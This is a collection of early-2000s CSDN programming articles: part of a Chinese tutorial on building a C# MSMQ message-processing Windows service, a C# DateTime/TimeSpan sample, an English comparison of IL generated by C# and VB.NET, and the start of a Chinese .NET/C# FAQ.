      〈OutputDefinition OutputName=".\private$\test_out12" /〉
    〈/OutputList〉
  〈/ProcessDefinition〉
  〈ProcessDefinition
        ProcessName="Worker2"
        ProcessDesc="Assembly Worker with 1 Thread"
        ProcessType="Assembly"
        ProcessThreads="1"
        InputQueue=".\private$\test_load2"
        ErrorQueue=".\private$\test_error"〉
    〈OutputList〉
      〈OutputDefinition OutputName="C:\MSDNMessageService\Message
      Example.dll" /〉
      〈OutputDefinition OutputName="MSDNMessageService.Message
      Sample.ExampleClass"/〉
    〈/OutputList〉
  〈/ProcessDefinition〉
〈/ProcessList〉
〈/configuration〉

    对此信息的访问通过来自 System.Configuration 程序集的 Config
Manager 类来管理。静态 Get方法返回信息的集合，这些集合将被枚举以
获得单个属性。这些属性集的设置决定了辅助对象的运行时特征。除了这
一配置文件，您还应该创建定义 XML文件结构的图元文件，并在其中引用
位于服务器 machine.cfg配置文件中的图元文件：

〈?xml version ="1.0"?〉
〈MetaData xmlns="x-schema:CatMeta.xms"〉
    〈DatabaseMeta InternalName="MessageService"〉
    〈ServerWiring Interceptor="Core_XMLInterceptor"/〉
    〈Collection
          InternalName="Process" PublicName="ProcessList"
          PublicRowName="ProcessDefinition"
          SchemaGeneratorFlags="EMITXMLSCHEMA"〉
      〈Property InternalName="ProcessName" Type="String" Meta
      Flags="PRIMARYKEY" /〉
      〈Property InternalName="ProcessDesc" Type="String" /〉
      〈Property InternalName="ProcessType" Type="Int32" Default
      Value="RoundRobin" 〉
          〈Enum InternalName="RoundRobin"　Value="0"/〉
          〈Enum InternalName="AppSpecific" Value="1"/〉
          〈Enum InternalName="Assembly" Value="2"/〉
      〈/Property〉
      〈Property InternalName="ProcessThreads" Type="Int32"
      DefaultValue="1" /〉
      〈Property InternalName="InputQueue" Type="String" /〉
      〈Property InternalName="ErrorQueue" Type="String" /〉
      〈Property InternalName="OutputName" Type="String" /〉
      〈QueryMeta InternalName="All" MetaFlags="ALL" /〉
      〈QueryMeta InternalName="QueryByFile" CellName="__FILE"
      Operator="EQUAL"　/〉
    〈/Collection〉
    〈Collection
          InternalName="Output" PublicName="OutputList"
          PublicRowName="OutputDefinition"
          SchemaGeneratorFlags="EMITXMLSCHEMA"〉
      〈Property InternalName="ProcessName" Type="String" Meta
      Flags="PRIMARYKEY" /〉
      〈Property InternalName="OutputName" Type="String" Meta
      Flags="PRIMARYKEY" /〉
      〈QueryMeta InternalName="All" MetaFlags="ALL" /〉
      〈QueryMeta InternalName="QueryByFile" CellName="__FILE"
      Operator="EQUAL"　/〉
    〈/Collection〉
    〈/DatabaseMeta〉
    〈RelationMeta
      PrimaryTable="Process" PrimaryColumns="ProcessName"
      ForeignTable="Output"　ForeignColumns="ProcessName"
      MetaFlags="USECONTAINMENT"/〉
〈/MetaData〉

    由于 Service类必须维护一个已创建辅助对象的列表，因此使用了
Hashtable 集合，用于保持类型对象的名称/ 数值对列表。Hashtable 不
仅支持枚举，还允许通过关键字来查询值。在应用程序中，XML 进程名称
是唯一的关键字：
private Hashtable htWorkers = new Hashtable();
IConfigCollection cWorkers = ConfigManager.Get("ProcessList", new
AppDomainSelector());
foreach (IConfigItem ciWorker in cWorkers)
{
   WorkerFormatter sfWorker = new WorkerFormatter();
   sfWorker.ProcessName = (string)ciWorker["ProcessName"];
   sfWorker.ProcessDesc = (string)ciWorker["ProcessDesc"];
   sfWorker.NumberThreads = (int)ciWorker["ProcessThreads"];
   sfWorker.InputQueue = (string)ciWorker["InputQueue"];
   sfWorker.ErrorQueue = (string)ciWorker["ErrorQueue"];
   // 计算并定义进程类型
   switch ((int)ciWorker["ProcessType"])
   {
      case 0:
         sfWorker.ProcessType = WorkerFormatter.SFProcessType.
         ProcessRoundRobin;
         break;
      case 1:
         sfWorker.ProcessType = WorkerFormatter.SFProcessType.
         ProcessAppSpecific;
         break;
      case 2:
         sfWorker.ProcessType = WorkerFormatter.SFProcessType.
         ProcessAssembly;
         break;
      default:
         throw new Exception("Unknown Processing Type");
   }
   // 执行更多的工作以读取输出信息
   string sProcessName = (string)ciWorker["ProcessName"];
   if (htWorkers.ContainsKey(sProcessName))
      throw new ArgumentException("Process Name Must be Unique: "
      + sProcessName);
   htWorkers.Add(sProcessName, new CWorker(sfWorker));
}

    在这段代码中没有包含的主要信息是输出数据的获取。每一个进程定
义中都有一组相应的输出定义项。该信息是通过如下的简单查询读取的：

string sQuery = "SELECT * FROM OutputList WHERE ProcessName=" +
   sfWorker.ProcessName + " AND Selector=appdomain://";
ConfigQuery qQuery = new ConfigQuery(sQuery);
IConfigCollection cOutputs = ConfigManager.Get("OutputList",
qQuery);
int iSize = cOutputs.Count, iLoop = 0;
sfWorker.OutputName = new string[iSize];
foreach (IConfigItem ciOutput in cOutputs)
   sfWorker.OutputName[iLoop++] = (string)ciOutput["OutputName"];

    CWorkerThread 和 Cworker类都有相应的服务控制方法，根据服务控
制操作进行调用。由于 Hashtable中引用了每一个 CWorker对象，因此需
要枚举 Hashtable的内容，以调用适当的服务控制方法：
foreach (CWorker cWorker in htWorkers.Values)
   cWorker.Start();

    类似地，实现的 OnPause、OnContinue和 OnStop 方法是通过调用
CWorker 对象上的相应方法来执行操作的。

CWorker 类

    CWorker 类的主要功能是创建和管理 CWorkerThread对象。Start 、
Stop、Pause 和 Continue 方法调用相应的 CWorkerThread方法。实际的
CWorkerThread 对象是在Start 方法中创建的。与使用 Hashtable管理辅
助对象引用的 Service类相似，CWorker 使用 ArrayList（简单的动态数
组）来维护线程对象的列表。


csdn_C#消息队列应用程序 -2

C#消息队列应用程序 -2
    在这个数组内部，CWorker 类创建了 CWorkerThread类的一个实现版
本。CWorkerThread 类（将在下面讨论）是一个必须继承的抽象类。导出
类定义了消息的处理方式：
aThreads = new ArrayList();
for (int idx=0; idx〈sfWorker.NumberThreads; idx++)
{
   WorkerThreadFormatter wfThread = new WorkerThreadFormatter();
   wfThread.ProcessName = sfWorker.ProcessName;
   wfThread.ProcessDesc = sfWorker.ProcessDesc;
   wfThread.ThreadNumber = idx;
   wfThread.InputQueue = sfWorker.InputQueue;
   wfThread.ErrorQueue = sfWorker.ErrorQueue;
   wfThread.OutputName = sfWorker.OutputName;
   // 定义辅助类型，并将其插入辅助线程结构
   CWorkerThread wtBase;
   switch (sfWorker.ProcessType)
   {
      case WorkerFormatter.SFProcessType.ProcessRoundRobin:
         wtBase = new CWorkerThreadRoundRobin(this, wfThread);
         break;
      case WorkerFormatter.SFProcessType.ProcessAppSpecific:
         wtBase = new CWorkerThreadAppSpecific(this, wfThread);
         break;
      case WorkerFormatter.SFProcessType.ProcessAssembly:
         wtBase = new CWorkerThreadAssembly(this, wfThread);
         break;
      default:
         throw new Exception("Unknown Processing Type");
   }
   // 添加对数组的调用
   aThreads.Insert(idx, wtBase);
}

    一旦所有的对象都已创建，就可以通过调用每个线程对象的 Start方
法来启动它们：
foreach(CWorkerThread cThread in aThreads)
   cThread.Start();

    Stop、Pause 和 Continue 方法在 foreach循环里执行的操作类似。
Stop方法具有如下的垃圾收集操作：
GC.SuppressFinalize(this);

    在类析构函数中将调用 Stop 方法，这样，在没有显式调用 Stop 方
法的情况下也可以正确地终止对象。如果调用了 Stop 方法，将不需要析
构函数。SuppressFinalize方法能够防止调用对象的 Finalize 方法（析
构函数的实际实现）。

CWorkerThread 抽象类

    CWorkerThread 是一个由 CWorkerThreadAppSpecifc、CWorkerThread
RoundRobin 和 CWorkerThreadAssembly继承的抽象类。无论如何处理消
息，队列的大部分处理是相同的，所以 CWorkerThread类提供了这一功能。
这个类提供了抽象方法（必须被实际方法替代）以管理资源和处理消息。

    类的工作再一次通过 Start、Stop、Pause 和 Continue 方法来实现。
在 Start方法中引用了输入和错误队列。在 .NET 框架中，消息由 System.
Messaging 名称空间处理：
// 尝试打开队列，并设置默认的读写属性
MessageQueue mqInput = new MessageQueue(sInputQueue);
mqInput.MessageReadPropertyFilter.Body = true;
mqInput.MessageReadPropertyFilter.AppSpecific = true;
MessageQueue mqError = new MessageQueue(sErrorQueue);
// 如果使用 MSMQ COM，则将格式化程序设置为 ActiveX
mqInput.Formatter = new ActiveXMessageFormatter();
mqError.Formatter = new ActiveXMessageFormatter();

    一旦定义了消息队列引用，即会创建一个线程用于实际的处理函数
（称为 ProcessMessages）。在 .NET 框架中，使用 System.Threading
名称空间很容易实现线程处理：
procMessage = new Thread(new ThreadStart(ProcessMessages));
procMessage.Start();

    ProcessMessages 函数是基于 Boolean值的处理循环。当数值设为
False，处理循环将终止。因此，线程对象的 Stop 方法只设置这一Boolean
值，然后关闭打开的消息队列，并加入带有主线程的线程：
// 加入服务线程和处理线程
bRun = false;
procMessage.Join();
// 关闭打开的消息队列
mqInput.Close();
mqError.Close();

Pause 方法只设置一个 Boolean 值，使处理线程休眠半秒钟：

if (bPause)
   Thread.Sleep(500);

    最后，每一个 Start、Stop、Pause 和 Continue 方法将调用抽象的
OnStart 、OnStop、OnPause 和 OnContinue 方法。这些抽象方法为实现
的类提供了挂钩，以捕获和释放所需的资源。

    ProcessMessages 循环具有如下基本结构：
●接收Message。
●如果Message具有成功的Receive，则调用抽象ProcessMessage方法。
●如果Receive或ProcessMessage失败，将Message发送至错误队列中。

Message mInput;
try
{
   // 从队列中读取，并等候 1 秒
   mInput = mqInput.Receive(new TimeSpan(0,0,0,1));
}
catch (MessageQueueException mqe)
{
   // 将消息设置为 null
   mInput = null;
   // 查看错误代码，了解是否超时
   if (mqe.ErrorCode != (-1072824293) ) //0xC00E001B
   {
      // 如果未超时，发出一个错误并记录错误号
      LogError("Error: " + mqe.Message);
      throw mqe;
   }
}
if (mInput != null)
{
   // 得到一个要处理的消息，调用处理消息抽象方法
   try
   {
      ProcessMessage(mInput);
   }
   // 捕获已知异常状态的错误
   catch (CWorkerThreadException ex)
   {
      ProcessError(mInput, ex.Terminate);
   }
   // 捕获未知异常，并调用 Terminate
   catch
   {
      ProcessError(mInput, true);
   }
}

    ProcessError方法将错误的消息发送至错误队列。另外，它也可能引
发异常来终止线程。如果ProcessMessage方法引发了终止错误或 CWorker
ThreadException类型，它将执行此操作。

CworkerThread 导出类

    任何从 CWorkerThread中继承的类都必须提供 OnStart、OnStop、On
Pause、OnContinue和 ProcessMessage 方法。OnStart 和 OnStop方法获
取并释放处理资源。OnPause 和 OnContinue 方法允许临时释放和重新获
取这些资源。ProcessMessage方法应该处理消息，并在出现失败事件时引
发 CWorkerThreadException 异常。

    由于 CWorkerThread构造函数定义运行时参数，导出类必须调用基类
构造函数：
public CWorkerThreadDerived(CWorker v_cParent, WorkerThread
Formatter v_wfThread)
   : base (v_cParent, v_wfThread) {}

    导出类提供了两种类型的处理：将消息发送至另一队列，或者调用组
件方法。接收和发送消息的两种实现使用了循环技术或应用程序偏移（保
留在消息 AppSpecific属性中），作为使用哪一队列的决定因素。此方案
中的配置文件应该包括队列路径的列表。实现的 OnStart和 OnStop 方法
应该打开和关闭对这些队列的引用：
iQueues = wfThread.OutputName.Length;
mqOutput = new MessageQueue[iQueues];
for (int idx=0; idx〈iQueues; idx++)
{
   mqOutput[idx] = new MessageQueue(wfThread.OutputName[idx]);
   mqOutput[idx].Formatter = new ActiveXMessageFormatter();
}

    在这些方案中，消息的处理很简单：将消息发送必要的输出队列。在
循环情况下，这个进程为：
try
{
   mqOutput[iNextQueue].Send(v_mInput);
}
catch (Exception ex)
{
   // 如果错误强制终止异常
   throw new CWorkerThreadException(ex.Message, true);
}
// 计算下一个队列号
iNextQueue++;
iNextQueue %= iQueues;

    后一种调用带消息参数的组件的实现方法比较有趣。ProcessMessage
方法使用 IWebMessage接口调入一个 .NET 组件。OnStart 和 OnStop 方
法获取和释放此组件的引用。

    此方案中的配置文件应该包含两个项目：完整的类名和类所在文件的
位置。按照 IWebMessage接口中的定义，在组件上调用 Process方法。

    要获取对象引用，需要使用 Activator.CreateInstance 方法。此函
数需要一个程序集类型。在这里，它是从程序集文件路径和类名中导出的。
一旦获取对象引用，它将被放入合适的接口：
private IWebMessage iwmSample;
private string sFilePath, sTypeName;
// 保存程序集路径和类型名称
sFilePath = wfThread.OutputName[0];
sTypeName = wfThread.OutputName[1];
// 获取对必要对象的引用
Assembly asmSample = Assembly.LoadFrom(sFilePath);
Type typSample = asmSample.GetType(sTypeName);
object objSample = Activator.CreateInstance(typSample);
// 定义给对象的必要接口
iwmSample = (IWebMessage)objSample;

    获取对象引用后，ProcessMessage方法将在 IWebMessage接口上调用
Process 方法：
WebMessageReturn wbrSample;
try
{
   // 定义方法调用的参数
   string sLabel = v_mInput.Label;
   string sBody = (string)v_mInput.Body;
   int iAppSpecific = v_mInput.AppSpecific;
   // 调用方法并捕捉返回代码
   wbrSample = iwmSample.Process(sLabel, sBody, iAppSpecific);
}
catch (InvalidCastException ex)
{
   // 如果在消息内容中发生错误，则强制发出一个非终止异常
   throw new CWorkerThreadException(ex.Message, false);
}
catch (Exception ex)
{
   // 如果错误调用程序集，则强制发出终止异常
   throw new CWorkerThreadException(ex.Message, true);
}
// 如果没有错误，则检查对象调用的返回状态
switch (wbrSample)
{
   case WebMessageReturn.ReturnBad:
      throw new CWorkerThreadException
         ("Unable to process message: Message marked bad", false);
   case WebMessageReturn.ReturnAbort:
      throw new CWorkerThreadException
         ("Unable to process message: Process terminating", true);
   default:
      break;
}

    提供的示例组件将消息正文写入数据库表。如果捕获到严重数据库错
误，您可能希望终止处理过程，但是在这里，仅仅将消息标记为错误的消
息。

    由于此示例中创建的类实例可能会获取并保留昂贵的数据库资源，所
以用 OnPause和 OnContinue 方法释放和重新获取对象引用。

检测设备

    就象在所有优秀的应用程序中一样，检测设备用于监测应用程序的状
态。。NET 框架大大简化了将事件日志、性能计数器和 Windows管理检测
设备（WMI ）纳入应用程序的过程。消息应用程序使用时间日志和性能计
数器，二者都是来自 System.Diagnostics 程序集。

    在 ServiceBase类中，您可以自动启用事件日志。另外，ServiceBase
EventLog成员支持写入应用程序事件日志：
EventLog.WriteEntry(sMyMessage, EventLogEntryType.Information);

    对于写入事件日志而不是应用程序日志的应用程序，它能够很容易地
创建和获取 EventLog 资源的引用（正如在 CWorker类中所做的一样），
并能够使用 WriteEntry 方法记录日志项：
private EventLog cLog;
string sSource = ServiceControl.ServiceControlName;
string sLog = "Application";
// 查看源是否存在，如果不存在，则创建源
if (!EventLog.SourceExists(sSource))
   EventLog.CreateEventSource(sSource, sLog);
// 创建日志对象，并引用现在定义的源
cLog = new EventLog();
cLog.Source = sSource;
// 在日志中写入条目，表明创建成功
cLog.WriteEntry("已成功创建", EventLogEntryType.Information);

    .NET 框架大大简化了性能计数器。对于每一个处理线程、线程导出
的用户和整个应用程序，这一消息应用程序都能提供计数器，用于跟踪消
息数量和每秒钟处理消息的数量。要提供此功能，您需要定义性能计数器
的类别，然后增加相应的计数器实例。

    性能计数器的类别在服务 OnStart方法中定义。这些类别代表两种计
数器——消息总数和每秒钟处理的消息数：
CounterCreationData[] cdMessage = new CounterCreationData[2];
cdMessage[0] = new CounterCreationData("Messages/Total", "Total
Messages Processed",
PerformanceCounterType.NumberOfItems64);
cdMessage[1] = new CounterCreationData("Messages/Second",
"Messages Processed a Second",
PerformanceCounterType.RateOfChangePerSecond32);
PerformanceCounterCategory.Create("MSDN Message Service", "MSDN
Message Service Counters", cdMessage);

    一旦定义了性能计数器类别，将创建 PerformanceCounter 对象以访
问计数器实例功能。PerformanceCounter对象需要类别、计数器名称和一
个可选的实例名称。对于辅助进程，将使用来自 XML文件的进程名称，代
码如下：
pcMsgTotWorker = new PerformanceCounter("MSDN Message Service",
"Messages/Total", sProcessName);
pcMsgSecWorker = new PerformanceCounter("MSDN Message Service",
"Messages/Second", sProcessName);
pcMsgTotWorker.RawValue = 0;
pcMsgSecWorker.RawValue = 0;

要增加计数器的值，仅仅需要调用适当的方法：

pcMsgTotWorker.IncrementBy(1);
pcMsgSecWorker.IncrementBy(1);

最后说明一点，服务终止时，安装的性能计数器类别应该从系统中删除：

PerformanceCounterCategory.Delete("MSDN Message Service");

    由于性能计数器在 .NET 框架中工作，因此需要运行一项特殊的服务。
此服务（PerfCounterService）提供了共享内存。计数器信息将写入共享
内存，并被性能计数器系统读取。

安装

    在结束以前，我们来简要介绍一下安装以及称为 installutil.exe的
安装工具。由于此应用程序是 Windows服务，它必须使用installutil.exe
来安装。因此，需要使用一个从 System.Configuration.Install 程序集
中继承的 Installer类：
public class ServiceRegister: Installer
{
   private ServiceInstaller serviceInstaller;
   private ServiceProcessInstaller processInstaller;
   public ServiceRegister()
   {
      // 创建服务安装程序
      serviceInstaller = new ServiceInstaller();
      serviceInstaller.StartType = ServiceStart.Manual;
      serviceInstaller.ServiceName = ServiceControl.ServiceControl
      Name;
      serviceInstaller.DisplayName = ServiceControl.ServiceControl
      Desc;
      Installers.Add(serviceInstaller);
      // 创建进程安装程序
      processInstaller = new ServiceProcessInstaller();
      processInstaller.RunUnderSystemAccount = true;
      Installers.Add(processInstaller);
   }
}

    如此示例类所示，对于一个 Windows服务，服务和服务进程各需要一
个安装程序，以定义运行服务的帐户。其他安装程序允许注册事件日志和
性能计数器等资源。

总结

    从这个 .NET 框架应用程序示例中可以看出，以前只有 Visual C++
程序员能够编写的应用程序，现在使用简单的面向对象程序即可实现。尽
管我们的重点是 C# ，但本文所述的内容也同样适用于 Visual Basic 和
Managed C++.新的 .NET 框架使开发人员能够使用任何编程语言来创建功
能强大、可伸缩的 Windows应用程序和服务。

    新的 .NET 框架不仅简化和扩展了编程的种种可能，还能够轻松地将
人们经常遗忘的应用程序检测设备（例如性能监测计数器和事件日志通知）
合并到应用程序中。尽管这里的应用程序没有使用 Windows管理检测设备
（WMI ），但 .NET 框架同样也可以应用它。


csdn_C#里操作时间的例子!

C#里操作时间的例子!
namespace Wrox.SampleCode.CSharpPreview.ChBaseClasses
{
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.WinForms;
using System.Data;
public class FormDisplayDateTimes : System.WinForms.Form
{
... as before

///
/// Summary description for FormDisplayDateTimes.
/// public FormDisplayDateTimes()
{
//
// Required for Win Form Designer support
//

InitializeComponent();

//
// TODO: Add any constructor code after InitializeComponent call
// DateTime dtCurrTime = DateTime.Now;
AddItem("Current Time is " + dtCurrTime.ToString());
AddItem("Year is " + dtCurrTime.Year.ToString());
AddItem("Month is " + dtCurrTime.Month.ToString());
AddItem("Day of month is " + dtCurrTime.Day.ToString());
AddItem("Day of week is " + dtCurrTime.DayOfWeek.ToString());
AddItem("Hour is " + dtCurrTime.Hour.ToString());
AddItem("Minute is " + dtCurrTime.Minute.ToString());
AddItem("Second is " + dtCurrTime.Second.ToString());
AddItem("Millisecond is " + dtCurrTime.Millisecond.ToString());
AddItem("ShortDateString is " + dtCurrTime.ToShortDateString());
AddItem("LongDateString is " + dtCurrTime.ToLongDateString());
AddItem("ShortTimeString is " + dtCurrTime.ToShortTimeString());
AddItem("LongTimeString is " + dtCurrTime.ToLongTimeString());
}
public class FormTimeSpans : System.WinForms.Form

{
... as before

public FormTimeSpans()

{
//
// Required for Win Form Designer support
//
InitializeComponent();

//
// TODO: Add any constructor code after InitializeComponent call
//

// constructor: TimeSpan(days, hours, minutes, seconds)
TimeSpan Span = new TimeSpan(4,2,15,0);

// initialize date to 1 Jan 2000, 12 pm
// constructor: DateTime(year,month,day,hours,minutes,seconds,
// milliseconds)
DateTime dtOld = new DateTime(2000,1,1,12,0,0,0);

DateTime dtNew = dtOld + Span;

AddItem("Original date was " + dtOld.ToLongDateString() +
" " + dtOld.ToShortTimeString());
AddItem("Adding time span of " + Span.ToString());
AddItem("Result is " + dtNew.ToLongDateString() + " " +
dtNew.ToShortTimeString());
AddItem("");
AddItem("Time span broken down is:");
AddItem("Days: " + Span.Days.ToString());
AddItem("Hours: " + Span.Hours.ToString());
AddItem("Minutes: " + Span.Minutes.ToString());
AddItem("Seconds: " + Span.Seconds.ToString());
AddItem("Milliseconds: " + Span.Milliseconds.ToString());
AddItem("Ticks: " + Span.Ticks.ToString());
AddItem("");
AddItem("TicksPerSecond: " + TimeSpan.TicksPerSecond.ToString());
AddItem("TicksPerHour: " + TimeSpan.TicksPerHour.ToString());


csdn_The Battle: C# VS. Visual Basic

The Battle: C# VS. Visual Basic
There has been many questions of which language is better to use with .NET, some say C# some say VB, and some say managed C. So we decided to give you some more detail and let you make up your mind yourself. I think you'll find that the best language to use, is the one you want to use.

The first thing everyone should get familiar with is what managed code or IL language is.

When developing for .NET one can use any number of languages COBOL, Visual Basic, C, and C#. The question is what is best? Well personally I use C#. I was traditionally a Visual Basic programmer and found learning C# very easy. Not only that, but in most cases I write less code than I would using Visual Basic to do the same thing.

So why is Microsoft stating that there should be no difference in speed at runtime? "How can they say?" that the C programmers are thinking. Well let's use the IL Dissembler [IL DASM][ILdasm.exe] to demonstrate:

** You should be able to find the IL DASM under tools in the NGWS SDK.

We are going to be using two different namespaces and classes to demonstrate. Below are contents of both the Visual Basic Namespace and the C# NameSpace. The classes are exactly the same, except they are written in different languages.

C#:

using System.Data;
using System.Data.SQL;
namespace ILTest
{
public class ILTestCS
{
public DataView getAuthors()
{
SQLConnection sConn;
sConn = new SQLConnection(
"SERVER=LOCALHOST;UID=aspCasulity;DataBase=PUBS;PWD=asp");
SQLDataSetCommand sCmd;
sCmd = new SQLDataSetCommand("SELECT * FROM Authors",sConn);
DataSet ds;
ds = new DataSet();
sCmd.FillDataSet(ds,"MyTable");
return ds.Tables[0].DefaultView;
}
}
}

Visual Basic:

Imports System.Data
Imports System.Data.SQL
Namespace ILTestvb
Public Class ILTestVB
Public Function getAuthors() As DataView
Dim sConn As SQLConnection
sConn = New SQLConnection("SERVER=LOCALHOST;UID=aspCasulity;DataBase=PUBS;PWD=asp")
Dim sCmd As SQLDataSetCommand
sCmd = New SQLDataSetCommand("SELECT * FROM Authors", sConn)
Dim ds As DataSet
ds = New DataSet
sCmd.FillDataSet(ds, "MyTable")
Return ds.Tables(0).DefaultView
End Function
End Class
End Namespace

After we build the two dll's we can open them up in ILDASM. To open up the IL code you simply launch the ildasm.exe, click open and find the dll. We are going to be looking at the getAuthors Method. Notice anything? They are nearly identical.

See below for IL code:

C#

.method public hidebysig instance class ['System.Data']System.Data.DataView
getProducts() il managed
{
// Code size 64 (0x40)
.maxstack 3
.locals ([0] class ['System.Data']System.Data.SQL.SQLConnection sConn,
[1] class ['System.Data']System.Data.SQL.SQLDataSetCommand sCmd,
[2] class ['System.Data']System.Data.DataSet ds,
[3] class ['System.Data']System.Data.DataView V_3)
IL_0000: ldstr "SERVER=LOCALHOST;UID=aspCasulity;DataBase=PUBS;PWD=asp"
IL_0005: newobj instance void ['System.Data']System.Data.SQL.SQLConnection::.ctor(class System.String)
IL_000a: stloc.0
IL_000b: ldstr "SELECT * FROM Authors"
IL_0010: ldloc.0
IL_0011: newobj instance void ['System.Data']System.Data.SQL.SQLDataSetCommand::.ctor(class System.String,
class ['System.Data']System.Data.SQL.SQLConnection)
IL_0016: stloc.1
IL_0017: newobj instance void ['System.Data']System.Data.DataSet::.ctor()
IL_001c: stloc.2
IL_001d: ldloc.1
IL_001e: ldloc.2
IL_001f: ldstr "MyTable"
IL_0024: callvirt instance int32 ['System.Data']System.Data.Internal.DBDataSetCommand::FillDataSet(class ['System.Data']System.Data.DataSet,
class System.String)
IL_0029: pop
IL_002a: ldloc.2
IL_002b: call instance class ['System.Data']System.Data.TablesCollection ['System.Data']System.Data.DataSet::get_Tables()
IL_0030: ldc.i4.0 IL_0031: call instance class ['System.Data']System.Data.DataTable ['System.Data']System.Data.TablesCollection::get_Item(int32)
IL_0036: call instance class ['System.Data']System.Data.DataView ['System.Data']System.Data.DataTable::get_DefaultView()
IL_003b: stloc.3
IL_003c: br.s IL_003e
IL_003e: ldloc.3
IL_003f: ret
} // end of method 'ILTestCS::getAuthors'

Visual Basic

.method public instance class ['System.Data']System.Data.DataView
getProducts() il managed forwardref
{
// Code size 67 (0x43)
.maxstack 3
.locals init ([0] class ['System.Data']System.Data.DataSet ds,
[1] class ['System.Data']System.Data.DataView getProducts,
[2] class ['System.Data']System.Data.SQL.SQLDataSetCommand sCmd,
[3] class ['System.Data']System.Data.SQL.SQLConnection sConn)
IL_0000: nop
IL_0001: ldstr "SERVER=LOCALHOST;UID=aspCasulity;DataBase=PUBS;PWD=asp"
IL_0006: newobj instance void ['System.Data']System.Data.SQL.SQLConnection::.ctor(class System.String)
IL_000b: stloc.3
IL_000c: ldstr "SELECT * FROM Authors"
IL_0011: ldloc.3
IL_0012: newobj instance void ['System.Data']System.Data.SQL.SQLDataSetCommand::.ctor(class System.String,
class ['System.Data']System.Data.SQL.SQLConnection)
IL_0017: stloc.2
IL_0018: newobj instance void ['System.Data']System.Data.DataSet::.ctor()
IL_001d: stloc.0
IL_001e: ldloc.2
IL_001f: ldloc.0
IL_0020: ldstr "MyTable"
IL_0025: callvirt instance int32 ['System.Data']System.Data.Internal.DBDataSetCommand::FillDataSet(class ['System.Data']System.Data.DataSet,
class System.String)
IL_002a: pop
IL_002b: ldloc.0
IL_002c: call instance class ['System.Data']System.Data.TablesCollection ['System.Data']System.Data.DataSet::get_Tables()
IL_0031: ldc.i4.0
IL_0032: call instance class ['System.Data']System.Data.DataTable ['System.Data']System.Data.TablesCollection::get_Item(int32)
IL_0037: call instance class ['System.Data']System.Data.DataView ['System.Data']System.Data.DataTable::get_DefaultView()
IL_003c: stloc.1
IL_003d: nop
IL_003e: br.s IL_0040
IL_0040: ldloc.1
IL_0041: nop
IL_0042: ret
} // end of method 'ILTestVB::getAuthors'

As you can see the IL code generated by C# and Visual Basic are quite similar. Microsoft has stated that in some situations IL code generated in VB would execute faster than code generated in another .NET compilable language and vice versa, but overall you should not see much of a difference. So as far as I can see, the best language to use when developing .NET solutions is, the one you like the best.

I hope that this anwsers some questions for all of you!


csdn_C#抢鲜快报之FAQ20

C#抢鲜快报之FAQ20
数周前，微软公司在2000年6月份举行的“职业开发人员技术大会”（pdc）上正式发布了c#语言，自此掀开了一部新兴高级语言的篇章。关于这种新语言，有很多很多传闻，也有很多网友急于想了解它，对此，微软通用运行库开发小组的高级程序员jeffrey接受了网友的提问，并一一作了回答，下面就是有关.net和c#语言问答的整理。

q1.问：搞了这么久，我一直都没弄明白，.net是运行库呢还是开发平台哪？

答：都是！并且还不止这些呢——微软的宏伟目标是让microsoft.net彻底改变软件的开发方式、发行方式、使用方式等等，并且不止是针对微软一家，而是面向所有公司！今年7月份在pdc展会上分发的是“.net架构”包，“.net架构”是microsoft.net计划中首先问世的一部分，它包括了两方面的组件：“.net通用运行库”和“.net类库”。最近传来好消息说这两个组件已经被打包到“.net架构sdk”中，放在微软的站上免费供大家下载，有兴趣的朋友一定要去试试看哦！另外，这个sdk中还包括c#、c++、javascript和vb的命令行编译器，使用这些编译器就可以开发应用程序和组件了，从这个角度来看，.net架构首先是一个开发平台，因为它提供了运行库和类库，并且，下一个即将面市的就是visual studio.net，其中包括了更加全面的sdk和图形化的开发界面、向导、工具等等，更象一个开发平台了。但是.net的运行库其实已经融合到操作系统中，所以说它为运行库也是可以的。

q2.问：c#成为一种通用性语言的可能性究竟有多大啊？我的意思是说，不仅仅是微软一家支持的语言。另外，如果真是这样，现在有否其他软件公司承诺在非windows平台上提供c#的编译器呢？

答：这个问题现在来回答还有点为时尚早。反正我就是喜欢用c#来编程！（晕倒...）因为它十分类似于c++，所以学起来几乎不花什么时间。微软现在已经将c#提交到ecma标准化组织，如果获得通过，那么任何一个公司都可以开发出c#的编译器。不过，设计c#语言最初的目的就是要将它作成一种完全依赖并且完全兼容于通用语言运行库的语言，没有运行库的支持，c#是不会如此强大的。要在其他平台上开发编译器很容易，但是移植运行库就是一件大工程了。

q3.问：能不能讲讲c#在哪些具体问题上比java有优势？

答：虽然大家很有诚意地看着我，但是我还是想告诉大家：我没学过java！不过，我不妨说说c#和c++的差别：c#有更简单的语法，紧密集成的组件和函数，类型安全等等。要是想知道c# 和java的区别——去问别人吧，别问我。

q4.问：在c#语言中访问数据库，使用ado+是不是最好和最有效的方法？或者c#的运行库中有更好的oledb api封装函数吗？

答：.net类库中包括一个名叫system.data的名字空间，其中就有很多访问数据库的类。c#程序员可以很方便地利用这些类来访问数据库，不需要用到ado+。

q5.问：c#可不可以开发windows程序？不会只能开发分布式应用吧？

答：当然可以！c#可以开发任何古典风格的windows程序。不仅如此，不管是控制程序、图形程序、nt服务程序，还是普通组件，甚至是web页面，除了硬件驱动程序，都可以用c#开发出来。实际上，这些功能都是从运行库中实现的，而 c#语言本身并不提供。

q6.问：c#和winforms之间是什么关系？

答：winforms是.net类库中的类集，其中封装了win32类中的windows，brushes和pens类等等。任何使用了运行库的语言（包括c#）都可以建立这些类的实例并进行控制。就我所知，winforms和j++的wfc类库有些类似的地方。

q7.问：传闻c#已经被提交到ecma标准化组织等待批准，是吗？
答：对！到q2去看看吧。

q8.问：atl和com在.net新技术中会扮演怎样的角色呢？

答：.net架构中取代了很多老技术，象atl、mfc、c运行库、标准模板库（stl）等等类库都不再出现了。.net统一了编程类库，开发起来比使用这些老技术容易多了。我猜很多程序员看到.net的这些优势后会义无返顾地选择离开老技术的。不过，老玩意还是有一定的优点的：它的性能相对来说比较好。如果你需要特别突出性能，那么还是可以继续摆弄这些老玩意的。另外，对于com来讲，用.net来开发相同功能的组件会比以前容易几个数量级，并且还能轻松搞定各个组件之间常常出现的互操作性要求。目前在.net代码中还不能直接使用com+和交易服务，但是可以通过间接的方法来使用，只不过在性能上要打些折扣。

q9.问：为什么c#没象c++那样提供模板功能？

